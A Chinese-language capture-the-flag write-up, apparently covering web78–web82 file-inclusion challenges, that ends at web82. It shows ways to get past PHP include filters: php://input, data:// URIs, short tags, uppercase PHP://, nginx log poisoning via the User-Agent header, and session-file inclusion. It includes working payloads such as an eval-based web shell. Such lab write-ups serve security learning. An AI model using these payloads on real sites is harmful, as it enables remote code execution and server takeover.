文章目录
- web 78——php伪协议
- 第一种方法——php://input
- 第二种方法——data://text/plain
- 第三种方法——远程包含(http://协议)
- web 78——str_replace过滤字符php
- 第一种方法——远程包含(http://协议)
- 第二种方法——data://,php短标签
- 第三种方法——data://,base64编码
- web 80——str_replace过滤关键字php和data
- 第一种方法——日志包含
- 第二种方法——大写PHP绕过,PHP://input
- web 81——过滤关键字php、data和`:`,日志包含
- web 82
web 78——php伪协议
第一种方法——php://input
这里不知道flag.php
的文件路径,可以考虑使用php://input
尝试执行php语句,获取文件路径。
# url栏?file=php://input # POST data<?php system('ls');?>
cat flag.php
可能读取不了文件,这时候试试tac flag.php
。linux tac
命令是倒序读取文件,也就是从最后一行往前读取文件。
cat flag.php
在源代码中显示php文件(查看源代码),tac flag.php
不需要查看源代码。
第二种方法——data://text/plain
data://
数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。用法:
data://text/plain,<php代码>
data://text/plain;base64,<php代码>
第三种方法——远程包含(http://协议)
架设外网服务器,使用远程包含自己服务器上的后门文件,即可获取webshell。
php伪协议总结:
web 78——str_replace过滤字符php
首先,根据php特性,str_replace
无法迭代过滤,只过滤一次。此处,如果用空格
替换,可以直接使用双写进行绕过。
第一种方法——远程包含(http://协议)
架设外网服务器,使用远程包含自己服务器上的后门文件,即可获取webshell。
第二种方法——data://,php短标签
既然过滤php
字符串,使用data://
协议,同时使用php短标签避免出现字符串php
。php中代码开始标志类型(<?php ?>,<? ?>,<?= ?>,<% %>,<%= %>)
<?php @eval($_GET['cmd']);?> == <?=@eval($_GET['cmd']);?>
第三种方法——data://,base64编码
使用data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ (<?php phpinfo();?>)
web 80——str_replace过滤关键字php和data
可以看到关键字php
和data
被过滤,因此包含这两个关键字的php伪协议都无法用了。查看服务器的系统信息,可以发现属于nginx
,nginx
日志的默认路径为/var/log/nginx/access.log
第一种方法——日志包含
通过包含日志文件,可以读取到日志文件。因此思路:日志文件记录访问者UA信息,修改UA信息为后门代码,包含就会触发后门代码。
?file=/var/log/nginx/access.log
UA:<?php system('ls')?>
第二种方法——大写PHP绕过,PHP://input
这里对
php://input
的php进行大写可以绕过过滤,但是通过大写DATA不能使用data://text/plain
。
web 81——过滤关键字php、data和:
,日志包含
这里过滤了php
、data
和:
,基本上伪协议是用不了了,不过仍然可以使用日志包含。
?file=/var/log/nginx/access.log
UA:<?php system('ls')?>
web 82
linux下,默认保存session的文件路径/tmp
或/var/lib/php/session
;Windows下session文件的路径不固定。
关于session,只要你与一个网站建立连接,网站某个文件夹下就会产生session文件,关闭浏览器或者过了一段时间,session就会失效,再次建立连接的话就会产生新的session文件。
服务器端的session文件命名如下,尝试简单爆破是几乎不可能的。
实际上,数据包中的cookie
中有个PHPSESSID
的值,服务端将sess_
与PHPSESSID
的值进行拼接,就是当前会话session的文件名。因此我们可以使用这种方式固定session文件的文件名。
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含